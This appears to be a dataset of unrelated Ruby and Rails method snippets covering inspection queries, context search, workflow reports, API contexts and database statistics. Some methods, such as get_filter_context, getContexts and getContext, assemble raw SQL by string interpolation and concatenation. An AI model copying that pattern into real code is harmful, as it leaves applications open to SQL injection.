"def get_filter_context( inspection_type )\n qry = inspection_type.qc_filter_context_search || ''\n if qry.strip == ''\n errors.add_to_base \"QC Inspection Type '#{inspection_type.qc_inspection_type_code}' does not have a filter context search.\"\n return nil\n end\n\n qry.gsub!('{business_object_id}', self.business_object_id.to_s)\n records = QcInspection.find_by_sql( qry )\n if records.nil? || records.empty?\n errors.add_to_base \"filter context search returned no values for business object id #{self.business_object_id}.\" \n nil\n else\n records.first\n end\n end",
"def search_inspections\n search_business_context( true )\n end",
"def query_log_entry\n @top_query_log_entry\n end",
"def search_business_context(with_inspections=false)\n return if authorise_for_web(program_name(params[:id]),'create')== false\n # Show a data miner...\n inspection_type = QcInspectionType.find_by_qc_inspection_type_code(params[:id])\n if inspection_type.nil?\n raise \"Unknown Inspection Type: '#{params[:id]}'. The inspection type is not setup correctly or the menu system is not correctly defined.\"\n end\n data_miner = inspection_type.qc_business_context_search\n data_miner.sub!('.yml', '_active.yml') if with_inspections\n session[:qc_inspection_type_code] = inspection_type.qc_inspection_type_code\n dm_session[:parameter_fields_values] = nil\n session[:qc_inspection_exists] = with_inspections\n dm_session['se_layout'] = 'content'\n @content_header_caption = \"'search'\"\n dm_session[:redirect] = true\n build_remote_search_engine_form(data_miner, 'submit_business_context_search')\n end",
"def append_info_to_payload payload\n super\n payload[:query_count] = ActiveRecord::Base.connection.queries.count.to_s\n payload[:query_runtime] = \"%.5f\" % ActiveRecord::Base.connection.queries.runtime.to_s\n end",
"def user_created_query _user, query\n the_case = query.case\n\n data = {\n category: 'Queries',\n action: 'Created a Query',\n label: query.query_text,\n value: the_case.queries.count,\n bounce: false,\n }\n\n create_event data\n end",
"def set_business_info( inspection_type, business_object_id )\n self.business_object_id = business_object_id\n filter_record = get_filter_context( inspection_type )\n unless filter_record.nil?\n self.inspection_reference = filter_record.attributes[inspection_type.inspection_ref_column]\n info_hash = {}\n inspection_type.business_info_columns_list.split(/\\s*,\\s*/).each do |col|\n info_hash[col] = filter_record.attributes[col]\n end\n self.business_info = info_hash.to_yaml\n end\n end",
"def thinker\n if is_sub_logic?\n log \"processing business sublogic for: #{appointment_session.current_state}\"\n else\n log \"processing business logic for: #{scheduler_session.current_state}\"\n end\n\n think\n end",
"def last_context=(_arg0); end",
"def all_gtm_iquery_statistics\n super\n end",
"def search_request_concern_bm_finish\n elapsed = Time.zone.now - @search_request_start_time\n @search_request_benchmark[:sum] = @search_request_benchmark.values.sum\n @search_request_benchmark[:elapsed] = elapsed\n logger.info \"Benchmark SearchRequestConcern #{controller_name}##{action_name} #{sprintf(\"%.3f sec\", elapsed)}\"\n logger.info \"Benchmark SearchRequestConcern #{controller_name}##{action_name} #{@search_request_benchmark.inspect}\"\n rescue => e\n logger.warn \"Benchmark SearchRequestConcern Internal error during benchmarking. Cause: #{e.inspecct}\"\n end",
"def scope_query(operand)\n @scope << operand.class\n end",
"def last_operation\n session_section('app.last_op')\n end",
"def getContexts\n \n query_processing_time_begin = Time.now\n # In web-ui query processing time is only shown if asked. In atom-feed, it is always shown.\n if params[\"query_processing_time\"] && params[\"query_processing_time\"].downcase == \"true\"\n @query_processing = true\n end\n if params[:qoption] && params[:qoption][\"query_processing_time\"] == \"true\"\n @query_processing = true\n end\n \n @queryparams = params\n \n if request.url.to_s.include?(\"?\")\n @querystring = request.url.to_s.gsub(/http\\:\\/\\/[\\w\\.\\:\\/]+\\?/, \"\").gsub(\"%2A\", \"*\")\n @querystring_for_feed = @querystring.gsub(/\\&?perpage\\=\\d+/i, \"\").gsub(/\\&?page\\=\\d+/i, \"\").gsub(/^\\&/, \"\")\n end\n if @querystring_for_feed == \"\" or @querystring_for_feed == nil then @querystring_for_feed = \"No parameters given. Use name parameter for querying contexts by name.\" end\n \n \n # Find username who is signed in\n if params[:i_am_client]\n username = authenticateClient\n elsif session[:username]\n username = session[:username] \n end\n @user = User.find_by_username(username)\n\n # host parameter, needed when creating atom-feed\n if request.ssl?\n @host = \"https://#{request.host}\"\n else\n @host = \"http://#{request.host}\"\n end\n\n if request.port != nil and request.port != 80\n @host += \":#{request.port}\"\n end \n \n sql = \"SELECT contexts.id as c_id, contexts.user_id as user_id, contexts.name as name, query_uri, icon_url,\n contexts.node_path as node_path, contexts.node_service as node_service,\n description, begin_time, end_time, contexts.email as email, private, location_string, username, \n users.id, contexts.updated_at as updated_at, contexts.created_at as created_at, context_hash,\n contexts.rank as rank\n FROM contexts, users \"\n sql_conditions = nil\n \n if @queryparams[:name] \n sql_names = searchtermForSql(@queryparams[:name], \"name\")\n sql_conditions = sql_conditions ? sql_conditions + \" AND \" + sql_names : sql_names\n end\n \n if @queryparams[:username] \n # Find user_id\n owner = User.find_by_username(@queryparams[:username])\n if owner == nil\n render :text => \"Owner of queried context not found\", :status => 409\n return\n end \n sql_conditions = sql_conditions ? sql_conditions + \" AND user_id = #{owner.id} \" : \"user_id = #{owner.id} \"\n end\n \n if @queryparams[:sort_by]\n # You can sort by created_at/updated_at/name/rank\n if @queryparams[:sort_by].downcase == \"date_added\"\n sort_by = \"created_at\"\n elsif @queryparams[:sort_by].downcase == \"date_updated\"\n sort_by = \"updated_at\"\n elsif @queryparams[:sort_by].downcase == \"name\"\n sort_by = \"name\"\n elsif @queryparams[:sort_by].downcase == \"rank\"\n sort_by = \"rank\"\n end\n \n else\n sort_by = \"updated_at\"\n end\n \n # If searching contexts by name, also take into account context_names given by the user\n if @queryparams[:name] && @user != nil\n tmp_also_these_ctx = Context.find_by_sql(\"SELECT context_names.* FROM context_names WHERE #{sql_conditions} AND context_names.user_id = #{@user.id}\")\n \n if tmp_also_these_ctx != nil && tmp_also_these_ctx.size != 0\n \n add_contexts = \"contexts.id IN (\"\n\n tmp_also_these_ctx.each_with_index do |x, i|\n if i != 0\n add_contexts += \", \"\n end\n add_contexts += x.context_id\n end\n add_contexts += \" ) \"\n \n sql_conditions = \" ( \"+ add_contexts + \" OR \" + sql_conditions +\" ) \"\n end\n \n end\n \n \n if @queryparams[:order] && @queryparams[:order].downcase == \"asc\"\n order = \"ASC\" \n else\n order = \"DESC\"\n end\n \n if sql_conditions\n sql += \" WHERE \" + sql_conditions + \" AND user_id = users.id \"\n else\n sql += \" WHERE contexts.user_id = users.id \"\n end\n \n sql += \" ORDER BY #{sort_by} #{order} \"\n puts \"Context search SQL: #{sql}\"\n \n # Get contexts, user authorization is not yet checked for these\n contexts_unlimited = Context.find_by_sql( sql )\n \n # Move contexts here, that user is authorized to see\n @contexts = Array.new\n # Show the name owner has given, as well as the name the user has given\n @context_info = {}\n \n # Find contexts that user is authorized to see\n contexts_unlimited.each do |cx|\n if authorizedToContext(cx.context_hash)\n \n tmp_owner = User.find_by_id(cx.user_id)\n if tmp_owner == nil\n render :text => \"Couldn't find owner info for context: #{cx.name}\", :status => 409\n return\n end\n\n if @user != nil\n temp_ctx_name = ContextName.find_by_user_id_and_context_id(@user.id, cx.c_id)\n else\n temp_ctx_name = nil\n end\n \n if temp_ctx_name != nil\n \n @context_info.merge!({cx.c_id => { \"owner_name\" => tmp_owner.username, \"user_named\" => temp_ctx_name.name}}) \n else \n @context_info.merge!({cx.c_id => { \"owner_name\" => tmp_owner.username, \"user_named\" => cx.name}})\n end\n @contexts.push(cx)\n next\n end\n end\n \n puts @contexts.to_s\n \n # If user doesn't have access to any context\n if @contexts.empty?\n render :text => \"Nothing found!\", :status => 404\n return\n end\n \n sql = \"SELECT context_metadatas.context_id as id, \n context_metadatas.value as value, \n metadata_types.name as type_name,\n metadata_types.value_type as value_type\n FROM context_metadatas, metadata_types\"\n\n metadata_where_part = \" WHERE context_metadatas.metadata_type_id = metadata_types.id AND \n context_metadatas.context_id in (\"\n @contexts.each_index do |i|\n c = @contexts[i]\n metadata_where_part += \"#{c.c_id.to_s}\"\n metadata_where_part += ',' if @contexts.count > 1 and i != @contexts.count - 1\n end\n metadata_where_part += ')'\n \n sql += metadata_where_part\n \n @metadatas = {}\n mdatas = ContextMetadata.find_by_sql(sql)\n mdatas.each do |md|\n temp = @metadatas[md.id]\n if not temp\n # Wasn't found => new array for the mds\n temp = []\n end\n temp.push(md)\n @metadatas.merge!({md.id => temp})\n end\n \n \n\n @members = {}\n @contexts.each do |x|\n \n sql = \"SELECT users.* \n FROM context_group_permissions, groups, usersingroups, users \n WHERE context_group_permissions.context_id=#{x.c_id} AND \n context_group_permissions.group_id = groups.id AND \n groups.id=usersingroups.group_id AND usersingroups.user_id=users.id;\"\n \n m_temp = User.find_by_sql(sql)\n if not m_temp\n m_temp = []\n end\n @members.merge!({x.c_id => m_temp}) \n end\n\n # Create atom feed\n @host = @@http_host\n \n \n if @queryparams[:format] == \"yaml\" or @queryparams[:format] == \"json\" \n puts \"YAMLII\"\n @yaml_results = {}\n \n @contexts.each do |context|\n context_metadatas = @metadatas[context.c_id.to_i]\n context_members = @members[context.c_id]\n co = ContextObject.new(context, context_metadatas, context_members, @context_info[context.c_id])\n @yaml_results.merge!({co.get_uri => co.to_yaml})\n end\n end\n \n \n if query_processing_time_begin != nil\n query_processing_time_end = Time.now\n @query_processing_time = query_processing_time_end - query_processing_time_begin\n puts \"Time used for processing query: #{@query_processing_time}\"\n end\n \n \n \n # Rendering\n respond_to do |format|\n if @queryparams[:format] == nil\n format.html {render :getcontexts, :layout=>true }\n else\n format.html {render :getcontexts, :layout=>true }\n format.atom {render :getcontexts, :layout=>false }\n format.yaml {render :text => YAML.dump(@yaml_results), :layout=>false }\n format.json {render :text => JSON.dump(@yaml_results), :layout=>false }\n end\n end \n end",
"def audit\n\t\t\treturn if completed?\n\t\t\trefresh\n\t\t\ttally\n\t\tend",
"def update_query_status(total)\n @query_status.last_twid = @last_twid\n @query_status.last_run = Time.now.utc\n @query_status.last_result_count = total\n @query_status.save!\n end",
"def before_query(query)\n Rails.logger.info(\"[QUERY BEGIN] >>> #{Time.now.to_i}\")\n end",
"def process_user_kyc_details\n UserKycDetail.using_client_shard(client: @client).\n where(client_id: @client_id,\n status: GlobalConstant::UserKycDetail.active_status,\n admin_status: GlobalConstant::UserKycDetail.unprocessed_admin_status).\n order({id: :desc}).\n find_in_batches(batch_size: 100) do |ukds|\n\n ukds.each do |ukd|\n if (!ukd.has_been_auto_approved?)\n trigger_auto_approve_update_rescue_task(ukd.user_extended_detail_id)\n end\n end\n\n end\n end",
"def getContext\n \n query_processing_time_begin = Time.now\n # In web-ui query processing time is only shown if asked. In atom-feed, it is always shown.\n if params[\"query_processing_time\"] && params[\"query_processing_time\"].downcase == \"true\"\n @query_processing = true\n end\n if params[:qoption] && params[:qoption][\"query_processing_time\"] == \"true\"\n @query_processing = true\n end\n \n \n if params[:contexthash] != nil\n \n @context = Context.find_by_context_hash(params[:contexthash])\n \n else\n \n user = User.find_by_username(params[:username])\n if user == nil\n render :text => \"Owner of context not found!\", :status => 409\n return\n end\n \n ctxName = ContextName.find_by_user_id_and_name(user.id, params[:contextname])\n if ctxName == nil\n render :text => \"Contextname was not found for this user!\", :status => 404\n return\n end\n \n @context = Context.find_by_id(ctxName.context_id) \n end\n \n # If requested context wasn't found\n if @context == nil\n render :text => \"Context not found!\", :status => 404\n return\n end\n \n sql = \"SELECT users.* \n FROM context_group_permissions, groups, usersingroups, users \n WHERE context_group_permissions.context_id=#{@context.id} AND \n context_group_permissions.group_id = groups.id AND \n groups.id=usersingroups.group_id AND usersingroups.user_id=users.id;\"\n @members = User.find_by_sql(sql)\n \n @owner = User.find_by_id(@context.user_id)\n if @owner == nil\n render :text => \"Owner of the context could not be found\", :status => 409\n return\n end\n \n # User-object who is signed in, if not signed in it's nil\n @user = whoIsSignedIn \n \n # If user is not authorized to see context\n if not authorizedToContext(@context.context_hash)\n render :text => \"You don't have permission to see this context\", :status => 401\n return\n end\n\n ## Context is found and user is authorized to view it. We may proceed.\n \n \n @context_metadatas = ContextMetadata.find_by_sql(\"SELECT context_metadatas.context_id as id, \n context_metadatas.value as value, \n metadata_types.name as type_name,\n metadata_types.value_type as value_type\n FROM context_metadatas, metadata_types\n WHERE context_metadatas.metadata_type_id = metadata_types.id AND \n context_metadatas.context_id = #{@context.id}\") \n \n @context_named_by_user = @context.name\n \n @metadatatypes = MetadataType.find(:all, :order => \"name ASC\" )\n \n # Find if user that is signed in, has named the context\n if @user != nil\n tmp_ctx_name = ContextName.find_by_user_id_and_context_id(@user.id, @context.id)\n if tmp_ctx_name != nil\n # Signed in user has named the context\n @context_named_by_user = tmp_ctx_name.name\n end\n end\n \n \n \n if query_processing_time_begin != nil\n query_processing_time_end = Time.now\n @query_processing_time = query_processing_time_end - query_processing_time_begin\n puts \"Time used for processing query: #{@query_processing_time}\"\n end\n \n \n #Create atom feed\n @host = @@http_host\n respond_to do |format|\n if params[:format] == nil\n format.html {render :getcontext, :layout=>true }\n else\n format.html {render :getcontext, :layout=>true }\n format.atom {render :getcontext, :layout=>false }\n end\n end \n end",
"def collect_query_data\n status = PdhFFI.PdhCollectQueryData(@handle)\n Pdh.check_status status\n end",
"def user_context\n YodleeApi.deep_copy(@user_context)\n end",
"def user_context\n YodleeApi.deep_copy(@user_context)\n end",
"def microsoft_store_for_business_last_completed_application_sync_time\n return @microsoft_store_for_business_last_completed_application_sync_time\n end",
"def get_previous_state(options, query_name)\r\n report_config = @report_helper.generate_sql_report_config()\r\n report_config.add_filter('version', API_VERSION)\r\n report_config.add_filter('query', Queries.send(query_name, options))\r\n if options[:tag_run]\r\n report_config.add_filter('device', options[:nexpose_item].to_s)\r\n else\r\n report_config.add_filter('site', options[:nexpose_item])\r\n end\r\n\r\n report_config.add_filter('vuln-severity', options[:severity] || 0)\r\n\r\n @report_helper.save_generate_cleanup_report_config(report_config)\r\n end",
"def call_tracing\n @page_title = _('Call_Tracing')\n @page_icon = 'lightning.png'\n @users = User.find_all_for_select(correct_owner_id)\n end",
"def report_alt_predicate_context(d, alt_predicate_context)\n copy = HashMap.new\n copy.put_all(alt_predicate_context)\n @state_to_alt_set_with_semantic_predicates_map.put(d, copy)\n end",
"def business\n @business ||= @session.business\n end",
"def context\n unless @instance_context\n @instance_context = WorkflowRealTimeStatisticsContext.new(@version , @params['workspace_sid'], @params['workflow_sid'])\n end\n @instance_context\n end",
"def user_updated_query_threshold _user, query\n data = {\n category: 'Queries',\n action: 'Updated Query Threshold',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def current_query=(query)\n @current_query = session[:advanced_query] = query\n end",
"def investigate info\n #TODO if we already have data for a user, should we look it up?\n \n #http://en.wikipedia.org/w/api.php?action=query&titles=User:Tisane&prop=info|flagged&list=blocks|globalblocks|logevents|recentchanges|tags\n \n account = find_account_history(info)\n \n #http://en.wikipedia.org/w/api.php?action=query&list=logevents&leuser=Tisane&lelimit=max <- actions taken by user\n #get_xml({:format => :xml, :action => :query, :list => :logevents, :leuser => info[4], :lelimit => :max })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=blocks&bkprop=id|user|by|timestamp|expiry|reason|range|flags&bklimit=max&bkusers=Tisane\n #get_xml({:format => :xml, :action => :query, :list => :blocks, :bkusers => info[4], :bklimit => :max, :bkprop => 'id|user|by|timestamp|expiry|reason|range|flags' })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=users&ususers=Tisane&usprop=blockinfo|groups|editcount|registration|emailable\n #get_xml({:format => :xml, :action => :query, :list => :users, :ususers => info[4], :usprop => 'blockinfo|groups|editcount|registration|emailable' })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rcuser=Tisane&rcprop=user|comment|timestamp|title|ids|sizes|redirect|loginfo|flags\n #get_xml({:format => :xml, :action => :query, :list => :recentchanges, :rcuser => info[4], :rcprop => 'user|comment|timestamp|title|ids|sizes|redirect|loginfo|flags' })\n \n #res = parse_xml(get_xml())\n db_write!(\n ['sample_id', 'account_creation', 'account_lifetime', 'total_edits', 'edits_last_second', 'edits_last_minute', 'edits_last_hour', 'edits_last_day', 'edits_last_week', 'edits_last_month', 'edits_last_year'],\n [info[0]] + account\n )\n end",
"def show_using_sqls_historic\n save_session_time_selection # Werte puffern fuer spaetere Wiederverwendung\n @instance = prepare_param_instance\n @dbid = prepare_param_dbid\n @object_owner = params[:ObjectOwner]\n @object_owner = nil if @object_owner == \"\"\n @object_name = params[:ObjectName]\n update_area = params[:update_area]\n\n where_filter = \"\"\n where_values = []\n if @instance\n where_filter << \" AND s.Instance_Number = ?\"\n where_values << @instance\n end\n if @object_owner\n where_filter << \" AND p.Object_Owner=UPPER(?)\"\n where_values << @object_owner\n end\n\n @sqls = sql_select_all [\"\nSELECT /* Panorama-Tool Ramm */\n (SELECT TO_CHAR(SUBSTR(SQL_Text,1,100)) FROM DBA_Hist_SQLText t WHERE t.DBID=sql.DBID AND t.SQL_ID=sql.SQL_ID) SQL_Text,\n sql.*\nFROM (\n SELECT p.DBID, p.SQL_ID, s.Instance_Number, Parsing_Schema_Name, p.Operation, p.Options, p.Other_Tag,\n MIN(snap.Begin_Interval_Time) First_Occurrence,\n MAX(snap.End_Interval_Time) Last_Occurrence,\n SUM(Executions_Delta) Executions,\n SUM(Fetches_Delta) Fetches,\n SUM(Elapsed_Time_Delta)/1000000 Elapsed_Time_Secs,\n (SUM(ELAPSED_TIME_Delta)/1000000) / DECODE(SUM(EXECUTIONS_Delta), 0, 1, SUM(EXECUTIONS_Delta)) ELAPSED_TIME_SECS_PER_EXECUTE,\n SUM(CPU_Time_Delta)/1000000 CPU_Time_Secs,\n SUM(Disk_Reads_Delta) Disk_Reads,\n SUM(DISK_READS_delta) / DECODE(SUM(EXECUTIONS_Delta), 0, 1, SUM(EXECUTIONS_Delta)) DISK_READS_PER_EXECUTE,\n SUM(Buffer_Gets_Delta) Buffer_Gets,\n SUM(BUFFER_GETS_delta) / DECODE(SUM(EXECUTIONS_Delta), 0, 1, SUM(EXECUTIONS_delta)) BUFFER_GETS_PER_EXEC,\n SUM(Rows_Processed_Delta) Rows_Processed,\n SUM(Rows_Processed_Delta) / DECODE(SUM(EXECUTIONS_Delta), 0, 1, SUM(EXECUTIONS_Delta)) Rows_Processed_PER_EXECUTE,\n SUM(Parse_Calls_Delta) Parse_Calls,\n MIN(s.Snap_ID) Min_Snap_ID,\n MAX(s.Snap_ID) Max_Snap_ID\n FROM DBA_Hist_SQL_Plan p\n JOIN DBA_Hist_SQLStat s ON s.DBID = p.DBID AND s.SQL_ID = p.SQL_ID AND s.Plan_Hash_Value = p.Plan_Hash_Value\n JOIN DBA_Hist_Snapshot snap ON snap.DBID = s.DBID AND snap.Instance_Number = s.Instance_Number AND snap.Snap_ID = s.Snap_ID\n JOIN (\n SELECT /*+ NO_MERGE*/ DBID, Instance_Number,\n MAX(CASE WHEN Begin_Interval_time <= TO_TIMESTAMP(?, '#{sql_datetime_minute_mask}') THEN Snap_ID ELSE NULL END) StartMin, -- Normaler Start-Schnappschuss\n MIN(CASE WHEN Begin_Interval_time >= TO_TIMESTAMP(?, '#{sql_datetime_minute_mask}') THEN Snap_ID ELSE NULL END) StartMax, -- alternativer Start-Schnappschuss wenn StartMin=NULL\n MAX(CASE WHEN End_Interval_time <= TO_TIMESTAMP(?, '#{sql_datetime_minute_mask}') THEN Snap_ID ELSE NULL END) EndMin, -- alternativer End-Schnappschuss, wenn EndMin=NULL\n MIN(CASE WHEN End_Interval_time >= TO_TIMESTAMP(?, '#{sql_datetime_minute_mask}') THEN Snap_ID ELSE NULL END) EndMax -- Normaler End-Schnappschuss\n FROM DBA_Hist_Snapshot\n WHERE DBID = ?\n GROUP BY Instance_Number, DBID\n ) snap_limit ON snap_limit.DBID = s.DBID AND snap_limit.Instance_Number = s.Instance_Number\n WHERE p.Object_Name LIKE UPPER(?) #{where_filter}\n AND s.Snap_ID >= NVL(snap_limit.StartMin, snap_limit.StartMax)\n AND s.Snap_ID <= NVL(snap_limit.EndMax, snap_limit.EndMin)\n GROUP BY p.DBID, p.SQL_ID, s.Instance_Number, s.Parsing_Schema_Name, p.Operation, p.Options, p.Other_Tag\n ) sql\n ORDER BY sql.Elapsed_Time_Secs DESC\",\n @time_selection_start, @time_selection_start, @time_selection_end, @time_selection_end, @dbid, @object_name].concat(where_values)\n\n respond_to do |format|\n format.js {render :js => \"$('##{update_area}').html('#{j render_to_string :partial=>\"list_sql_area_historic\" }');\"}\n end\n end",
"def used\n update(last_used: DateTime.now)\n end",
"def current_status_aaa\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t \n\t\tif request.post? or session[:report_q_string].present?\n\t\t\tif request.post?\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tif search[1] != ''\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(search[1])\n\t\t\t\tend\n\t\t\t\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\tend",
"def last_used_operation\r\n ptr = Api.proj_trans_get_last_used_operation(self)\r\n self.class.create_object(ptr, self.context)\r\n end",
"def log_recent_drink_today(current_user, userdrink)\n new_userdrink_with_recent_drink = UserDrink.create(\n datetime: Time.now,\n amount: userdrink.amount,\n drink_id: userdrink.drink_id,\n user_id: current_user.id\n ) \n homescreen(current_user.reload)\nend",
"def context\n unless @instance_context\n @instance_context = CallSummaryContext.new(@version , @params['call_sid'])\n end\n @instance_context\n end",
"def db_count_queries &block\n count = 0\n\n counter_f = ->(name, started, finished, unique_id, payload) {\n unless %w[ CACHE SCHEMA ].include? payload[:name]\n count += 1\n end\n }\n ActiveSupport::Notifications.subscribed(counter_f, \"sql.active_record\", &block)\n count\n end",
"def on_investigation_end; end",
"def on_investigation_end; end",
"def context\n unless @instance_context\n @instance_context = WorkflowRealTimeStatisticsContext.new(\n @version,\n @params['workspace_sid'],\n @params['workflow_sid'],\n )\n end\n @instance_context\n end",
"def context\n @context_stack.last\n end",
"def search_request_concern_bm_start\n @search_request_benchmark = {}\n @search_request_start_time = Time.zone.now\n end",
"def audit\n while cursor = @queue.shift\n step(Stupidedi::Builder::StateMachine.new(@config, [cursor]))\n end\n end",
"def context\n unless @instance_context\n @instance_context = FeedbackSummaryContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def lookup_context; end",
"def lookup_context; end",
"def lookup_context; end",
"def current_status\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\t \n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t if request.post? or session[:report_q_string].present?\n\t \tq_string = ''\n \t\t\tif request.post?\n \t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n \t\t\t\t@serach_result = search[0]\n \t\t\t\tq_string = search[1]\n \t\t\telse\n \t\t\t \tq_string = session[:report_q_string]\n \t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\n\t \t\t\tend\n \t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n \t\tend\n\tend",
"def occurence(base_table, activity_table, object_id, query = {}, options = {})\n end",
"def entire_history\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t @report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tq_string = ''\n\t\t\tif request.post?\n\t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tq_string = search[1]\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t @report_serach_result = WorkFlow.entire_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n\n\t\tend\n\tend",
"def context\n unless @instance_context\n @instance_context = WorkflowStatisticsContext.new(\n @version,\n @params['workspace_sid'],\n @params['workflow_sid'],\n )\n end\n @instance_context\n end",
"def snapshots_redact_sql_queries; end",
"def calculate_detail_user ident\n\t\t@user = User.find ident\n\t \t@influence = @user.previous_influence\n\t \t@influences = @user.influences\n\n\t \tdates_values = dates_for_axis(@influences)\n\t \t@dates = dates_label_axis(dates_values)\n\t \t@axis_y_values = axis_values(@influences)\n\t \t@axis_y_labels = axis_labels(@axis_y_values)\n\n\tend",
"def save_context(context)\n session[:context] = context\n end",
"def send()\n SQLQuery.new.add('reports', ['accused', 'accuser', 'reason'], [@accused, @accuser, @reason]).send\n end",
"def usage_tracker_context(data)\n self.usage_tracker_context = data\n end",
"def usage_tracker_context(data)\n self.usage_tracker_context = data\n end",
"def user_updated_query_options _user, query\n data = {\n category: 'Queries',\n action: 'Updated Query Options',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def info_scopechain\n @queue << \"i sc\"\n end",
"def context\n unless @instance_context\n @instance_context = TaskStatisticsContext.new(@version , @params['assistant_sid'], @params['task_sid'])\n end\n @instance_context\n end",
"def execution_context\n @context\n end",
"def context\n unless @instance_context\n @instance_context = FeedbackSummaryContext.new(@version, @params['account_sid'], @params['sid'],)\n end\n @instance_context\n end",
"def last_status; end",
"def recognition_query\n recognitions_set = super.where(user_id: managed_users)\n\n if status_filter == :pending_approval\n unless @manager.company.allow_manager_to_resolve_recognition_she_sent?\n recognitions_set = exclude_pending_recognitions_sent_by_manager_herself(recognitions_set)\n end\n\n if company_has_company_admin_approvable_badges?\n recognitions_set = exclude_pending_recognitions_approvable_by_company_admin(recognitions_set)\n end\n end\n\n if company_has_any_manager_approvable_badges?\n recognitions_set = recognitions_set.or(managed_users_sent_approvable_recognitions_set(super))\n end\n\n recognitions_set\n end",
"def use\n update_column(:last_used_at, Time.now)\n end",
"def describe_context(context)\n @current_context = context\n end",
"def search_service_context\n {\n current_user: current_user\n }\n end",
"def seen(user)\n puts \"Should have updated last seen time for %s\" % user.to_s\n @add_seen.execute(user)\n end",
"def context_record\n ReportsKit.configuration.context_record(self)\n end",
